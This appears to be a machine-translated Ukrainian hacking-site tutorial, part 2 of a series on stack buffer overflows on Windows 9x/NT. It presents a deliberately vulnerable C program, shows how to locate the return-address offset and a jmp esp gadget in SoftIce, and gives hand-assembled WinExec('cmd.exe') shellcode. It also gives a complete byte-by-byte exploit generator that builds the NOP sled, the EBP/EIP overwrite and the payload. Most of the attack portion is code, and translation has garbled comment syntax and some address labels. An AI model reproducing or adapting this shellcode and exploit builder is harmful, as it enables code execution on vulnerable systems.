Переповнення стека. Частина 2, Windows 9x/NT, Security & Hack, статті

Underground InformatioN Center

1. Header

У минулій статті я виклав інформацію загального плану, яка необхідна для тих,
хто почув про експлоїта вперше, а тим більше ніколи не вникав в основну ідею.
Тепер приступлю до викладу безпосередньо практики, яка на самому
справі і є втіленням попередньої статті.
Відразу хочу попередити, що даний шелл не досконалий і максимально спрощений,
наприклад замість отримання адреси необхідних функцій за допомогою пари
LoadLibrary / GetProcAddress використовуються прямі посилання, що локалізує
дія цього шелла на ті системи, на яких адреси, зашиті в шелл
співпадуть з реальними адресами функцій в DLL. Очевидно від чого це залежить –
якщо Windows завантажить DLL по іншій базі, то шелл вилетить з повідомленням
типу ось такого:

… Де 0х77е8898b адресу jmp esp в kernel32.dll в моїй системі.
Тому в даному Шелле підбір адрес повинен проводиться суто індивідуально
для кожної системи. Далі я опишу як визначати ці адреси. Навіщо так старатися?
ІМХО: це поліпшить навички будь-якого хто самостійно знайде потрібну адресу своїм
девайсом (тобто ручками). А взагалі потрібно діяти трохи інакше: для особливо
просунутих підкажу ідеї:
а) Використовувати посилання з таблиці імпорту
б) Використовувати LoadLibrary / GetProcAddress
Але ця тема буде обговорюватися в інших статтях.
Почнемо …

2. Sections

Пишемо власну прогу виду

"owerflow.c"
#include <stdio.h>
#include <string.h>
int test(char *big)
{
char buffer [100]; / / переповнює буфер
strcpy (buffer, big); / / власне саме переповнення
      return 0;
}
int main ()
{
	char big[512];
gets (big); / / отримання текствой рядка-сюди-то ми 
і передаємо наш шелл
test (big); / / виклик вразливою функції
    return 0;
}

У цьому коді немає нічого надприродного, а тому йдемо далі. Як визначити,
що переповнюється, де переповнюється і чого куди передавати?
Елементарно! Беремо, запускаємо нашу програму owerflow.exe (для танкістів –
owerflow.exe виходить шляхом компіляції owerflow.c) і передаємо їй рядок
види:
Аааааа ……… ааааааааа – десь приблизно символів 110 для впевненості. І що ми бачимо?

Догралися – скажете ви. А на самій-то справі все відмінно пройшло, ви підірвали
буфер і як результат (про це я й згадував у першій частині), перезаписали адресу
повернення з функції кодом 0х61 (тобто символом ‘a’). А тепер я вас хочу запитати:
хто заважає вам замість безглуздих рядків символів передати рядок опкодов,
яка отримала горду назву шелл-коду? Ніхто! При уважному
розгляді ситуації, що склалася під чітким оком SoftIce, легко зрозуміти що
сталося: завдяки специфіці стека наша рядок затерли собою як збережене
значення ebp, так і адреса повернення. Зверніть увагу, що адреса повернення
затирається 104,105,106,107 символами нашої рядки (це видно тоді, коли замість
ааа .. аааа передется послідовність символів з ASCII кодами починаючи з 32 по 256),
тому необхідно сформувати рядок так, щоб 104-107 байти містили адресу, за
якому потрібно передати управління. Тепер з’ясуємо це самий адресу, але спершу зауважу,
байти що з 100 по 103 перекривають збережене значення EBP – це нам теж знадобиться
для формування стека, але про це пізніше. Подивившись в SoftIce вміст регістра esp
в момент переповнення, легко встановити, що там міститься адреса байта нашої рядки,
наступного за останнім з чотирьох байтів, що перекривають EIP. Це означає наступне:

(*) – Символи, що заповнюють буфер-приймач і тому не мають значення, їх заповнимо NOP
(**) – Ці 4 байта починаючи з N і закінчуючи N +3 перекривають собою EIP. Тому для
коректного виконання шелл-коду вони повинні містити адресу, за якою розміщується
перший байт нашого шелла, або адреса інструкції, переводить процесор на виконання цього
першого байта.
(***) – Починаючи з N +4 і до M йдуть опкоди, які й складуть наш шелл. За допомогою SoftIce
вдалося встановити, що потрібний нам адресу переходу міститься в ESP після виконання
RET в викликається функції test -> якщо переповнити буфер при запущеному SoftIce, то в
сплив вікні відладчика потрібно просто переглянути значення регістрів і командою D
esp переглянути вміст пам’яті за адресою в esp, там ми побачимо нашу рядок починаючи
з N +4.

Відмінно! Залишилося заповнити рядок, починаючи з 108-позиції, опкодамі і передати
управління за адресою в esp. Для цього знову переповнив програму при запущеному Sice
і коли він спливе введемо команду:
:S 10000000 l ffffffff FF e4
де 10000000-ffffffff-діапазон пошуку, а FF e4-опкод інструкції jmp esp
отримаємо:
; Pattern found at xxxxxxxx <- ця адреса може відрізнятися (у мене він дорівнює 77e98601, що відповідає ntdll.dll).
Ми визначили адресу jmp esp-тепер ми передамо цю адресу у позиції 104-107 і отримаємо,
що при переповненні в eip буде поміщена адреса інструкції jmp esp з ntdll.dll, яка
і перекине нас на 108-позицію нашої рядка. Залишилось цю саму рядок наповнити
опкодамі. Як шелла зазвичай використовують код, який реалізує завантаження консолі (для
віндів це аналогічно вікну Command Prompt). Для цього складемо програму на C:

"winexec.c"
#include <windows.h>
typedef (*PFUNK)(char*,DWORD);
int main ()
{	
HMODULE hDll=LoadLibrary("kernel32.dll");
	PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec");
	(*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW);
}

WinExec виконує програму, потребує 2 параметру і розташовується в kernel32.dll.
Все це працює тому, що kernel32.dll використовує будь-яка програма й тому, що адреса не
містить нульових байтів, наявність яких неприпустимо. У змінній pFunc отримаємо адресу
WinExec, у кожного він буде свій. Тепер нам потрібно сформувати АСМ-код, що викликає WinExec.
Ось він:

__asm {
mov esp, ebp; формуємо пролог
	push ebp
	mov ebp,esp
	mov esi,esp
xor edi, edi; формуємо завершальні нулі
	push edi
sub esp, 18h / / звільняємо в стека місце під рядок
/ / Стек повинен завжди бути вирівнявся на кордон кратно 4
/ / Для забезпечення гранулярність
mov byte ptr [ebp-1ch], 63h / / 'c' / / пулім в стек рядок
	mov byte ptr [ebp-1bh],6Dh //'m'
	mov byte ptr [ebp-1ah],64h //'d'
	mov byte ptr [ebp-19h],2Eh //'.'
	mov byte ptr [ebp-18h],65h //'e'
	mov byte ptr [ebp-17h],78h //'x'
	mov byte ptr [ebp-16h],65h //'e'
	mov byte ptr [ebp-15h],20h //' '
	mov byte ptr [ebp-14h],2fh //'/'
	mov byte ptr [ebp-13h],4bh //'K'
	mov byte ptr [ebp-12h],20h //' '
	mov byte ptr [ebp-11h],73h //'s'
	mov byte ptr [ebp-10h],74h //'t'
	mov byte ptr [ebp-0fh],61h //'a'
	mov byte ptr [ebp-0eh],72h //'r'
	mov byte ptr [ebp-0dh],74h //'t'
	mov byte ptr [ebp-0ch],20h //' '
	mov byte ptr [ebp-0bh],63h //'c'
	mov byte ptr [ebp-0ah],6dh //'m'
	mov byte ptr [ebp-09h],64h //'d'
	mov byte ptr [ebp-08h],2Eh //'.'
	mov byte ptr [ebp-07h],65h //'e'
	mov byte ptr [ebp-06h],78h //'x'
	mov byte ptr [ebp-05h],65h //'e'
/ / Помістити в eax адресу winexec отриманий з pFunc
	mov eax, 0x77e98601
/ / Помістити в стек адресу winexec
	push eax
/ / Передаємо параметр SW_SHOW
	push 05
/ / Передаємо адресу рядка
	lea eax,[ebp-1ch]
	push eax
/ / ExitProcess в eax
	mov eax,0x77e9b0bb
push eax / / встановлюємо адресу повернення
	mov eax, 0x77e98601
/ / Перейти на точку входу winexec
	jmp eax		}

Тепер стек має такий вигляд:

Цей код перевірявся в Visual C + +6.0 і все працює відмінно. Ну тепер залишилося
сформувати рядок з опкодов. А де їх узяти? Та в тому ж Visual C + + Debugger. Просто
при трасуванні з контекстного меню виберіть опцію Code Bytes при включеному
Disassembly mode і ви отримаєте необхідні опкоди. Залишилося тільки зібрати всі воєдино:

"overflower.c"
#include <stdio.h>
int  main()
{
	int i;
	char buf[256];
/ / ЗАПОВНЮЄМО Буфер NOP
    for (i=0;i<100;i++)
		buf[i]=0x90;
/ / Перекрити ebp адресою початку нашого строкового буфера,
/ / Щоб потім використовувати його під стек, адреса передається
/ / Через xor щоб затерти нулі. Потім інструкцією
/ / Xor ebp, 0xffffffff відновлюємо початковий адресу
	buf[100]=0x3f;
	buf[101]=0x01;
	buf[102]=0xed;
	buf[103]=0xff;
/ / Помістити адресу інструкції jmp esp
/ / Розташованої в ntdll.dll за адресою 77f8948B
/ / В ті 4 байта які перекривають eip
	buf[104]=0x8b;
	buf[105]=0x94;//89;
	buf[106]=0xf8;//e8;
	buf[107]=0x77;
	
	buf[108]=0x90;
/ / Xor ebp, 0xffffffff <-формуємо міністек для 
подальшого виклику winexec
	buf[109]=0x83;
	buf[110]=0xf5;
	buf[111]=0xff;
	//****************
	//mov esp,ebp
	buf[112]=0x8b;
	buf[113]=0xe5;
	//******************
	//push ebp
	buf[114]=0x55;
	//mov ebp,esp
	buf[115]=0x8b;
	buf[116]=0xec;
	//xor edi,edi
	buf[117]=0x33;
	buf[118]=0xff;
	//push edi
	buf[119]=0x57;
	//sub esp,18h
	buf[120]=0x83;
	buf[121]=0xec;
	buf[122]=0x18;
	//**********************************
/ / Створення рядка на стеку *
   	//mov byte ptr [ebp-19h],63h 'c'
	buf[123]=0xc6;
	buf[124]=0x45;
	buf[125]=0xe4;
	buf[126]=0x63;
	//mov byte ptr [ebp-18h],6dh 'm'
	buf[127]=0xc6;
	buf[128]=0x45;
	buf[129]=0xe5;
	buf[130]=0x6d;
	//mov byte ptr [ebp-17h],64h 'd'
	buf[131]=0xc6;
	buf[132]=0x45;
	buf[133]=0xe6;
	buf[134]=0x64;
	//mov byte ptr [ebp-16h],2eh '.'
	buf[135]=0xc6;
	buf[136]=0x45;
	buf[137]=0xe7;
	buf[138]=0x2e;
	//mov byte ptr [ebp-15h],65h 'e'
	buf[139]=0xc6;
	buf[140]=0x45;
	buf[141]=0xe8;
	buf[142]=0x65;
	//mov byte ptr [ebp-14h],78h 'x'
	buf[143]=0xc6;
	buf[144]=0x45;
	buf[145]=0xe9;
	buf[146]=0x78;
	//mov byte ptr [ebp-13h],65h 'e'
	buf[147]=0xc6;
	buf[148]=0x45;
	buf[149]=0xea;
	buf[150]=0x65;
	
	//mov byte ptr [ebp-12h],20h ' '
	buf[151]=0xc6;
	buf[152]=0x45;
	buf[153]=0xeb;
	buf[154]=0x20;
	
	//mov byte ptr [ebp-11h],2fh '/'
	buf[155]=0xc6;
	buf[156]=0x45;
	buf[157]=0xec;
	buf[158]=0x2f;
	//mov byte ptr [ebp-10h],4bh 'K'
	buf[159]=0xc6;
	buf[160]=0x45;
	buf[161]=0xed;
	buf[162]=0x4b;
	
	//mov byte ptr [ebp-0fh],20h ' '
	buf[163]=0xc6;
	buf[164]=0x45;
	buf[165]=0xee;
	buf[166]=0x20;
	
	//mov byte ptr [ebp-0eh],73h 's'
	buf[167]=0xc6;
	buf[168]=0x45;
	buf[169]=0xef;
	buf[170]=0x73;
	//mov byte ptr [ebp-0dh],74h 't'
	buf[171]=0xc6;
	buf[172]=0x45;
	buf[173]=0xf0;
	buf[174]=0x74;
	//mov byte ptr [ebp-0ch],61h 'a'
	buf[175]=0xc6;
	buf[176]=0x45;
	buf[177]=0xf1;
	buf[178]=0x61;
	//mov byte ptr [ebp-0bh],72h 'r'
	buf[179]=0xc6;
	buf[180]=0x45;
	buf[181]=0xf2;
	buf[182]=0x72;
	//mov byte ptr [ebp-0ah],74h 't'
	buf[183]=0xc6;
	buf[184]=0x45;
	buf[185]=0xf3;
	buf[186]=0x74;
	
	//mov byte ptr [ebp-9],20h ' '
	buf[187]=0xc6;
	buf[188]=0x45;
	buf[189]=0xf4;
	buf[190]=0x20;
	
	//mov byte ptr [ebp-8],63h 'c'
	buf[191]=0xc6;
	buf[192]=0x45;
	buf[193]=0xf5;
	buf[194]=0x63;
	//mov byte ptr [ebp-7],6dh 'm'
	buf[195]=0xc6;
	buf[196]=0x45;
	buf[197]=0xf6;
	buf[198]=0x6d;
	//mov byte ptr [ebp-6],64h 'd'
	buf[199]=0xc6;
	buf[200]=0x45;
	buf[201]=0xf7;
	buf[202]=0x64;
	//mov byte ptr [ebp-5],2eh '.'
	buf[203]=0xc6;
	buf[204]=0x45;
	buf[205]=0xf8;
	buf[206]=0x2e;
	//mov byte ptr [ebp-4],65h 'e'
	buf[207]=0xc6;
	buf[208]=0x45;
	buf[209]=0xf9;
	buf[210]=0x65;
	//mov byte ptr [ebp-3],78h 'x'
	buf[211]=0xc6;
	buf[212]=0x45;
	buf[213]=0xfa;
	buf[214]=0x78;
	//mov byte ptr [ebp-2],65h 'e'
	buf[215]=0xc6;
	buf[216]=0x45;
	buf[217]=0xfb;
	buf[218]=0x65;
	//*************************************
	//mov eax,77 e9 86 01h <-Winexec address
	buf[219]=0xb8;
	buf[220]=0x01;
	buf[221]=0x86;
	buf[222]=0xe9;
	buf[223]=0x77;
	//push eax
	buf[224]=0x50;
	
	//push 05 <-SW_SHOW_NORMAL
	buf[225]=0x6a;
	buf[226]=0x05;
	
/ / Lea eax, [ebp-1ch] <-адреса рядка
	buf[227]=0x8d;
	buf[228]=0x45;
	buf[229]=0xe4;
	//push eax
	buf[230]=0x50;
/ / Емулюючи call dword ptr [ebp-0ch]
/ / Для цього формуємо адреса повернення і пушім його
/ / А потім просто джамп на eax в якому адреса аналог. [Ebp-0ch]
/ / Таким чином стрибаємо на winexec, яка повертає
/ / Керування на ExitProcess
	
	//mov eax,0x77e8f32d <-ExitProcess
	buf[231]=0xb8;
	buf[232]=0x2d;
	buf[233]=0xf3;
	buf[234]=0xe8;
	buf[235]=0x77;
/ / Push eax <-зробити адресою повернення адресу переданий в eax
	buf[236]=0x50;
	//mov eax,0x77e8f32d <-WinExec address
	buf[237]=0xb8;
	buf[238]=0x01;
	buf[239]=0x86;
	buf[240]=0xe9;
	buf[241]=0x77;
/ / Jmp eax <-виконати WinExec
	buf[242]=0xff;
	buf[243]=0xe0;
/ / ПЕРЕДАТИ РЯДОК В Переповнюємося Буфер
	for(i=0;i<256;i++)
	{
		printf("%c",buf[i]);
	}


}

Ну ось ніби і все. Єдине: додам про ebp - цей регістр грає важливу роль в
нашій нелегкій справі. Треба десь формувати стек, але де? А чому не використовувати
під стек наш буфер, заповнений NOP? Так і забілдім, під SoftIce подивимося вміст ESP
і віднімемо від нього 64h або поставимо шукати рядок 0х9090909090 - хто як хоче,
головне знайти адресу початку буфера. Потім ця адреса помістимо в EBP (пам'ятаєте на початку
я акцентував увагу на тому, що байти з 100 по 103 перекривають ebp - ну так і
помістимо знайдений адреса в ці байти попередньо видаливши з нього нулі). А як? Та
дуже просто - зробити виключає Або в термінах булевої алгебри, або по-простому XOR.
Тобто іксора початкова адреса, передаємо в ebp, а потім у Шелле знову робимо
XOR EBP, 0xFFFFFFFF і все! Тепер у нас є стек.
Недоліками даного шелла є прямі посилання на функції, можливо я поправлю ці
фічі і запортірую новий шелл, набагато більш універсальний.

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*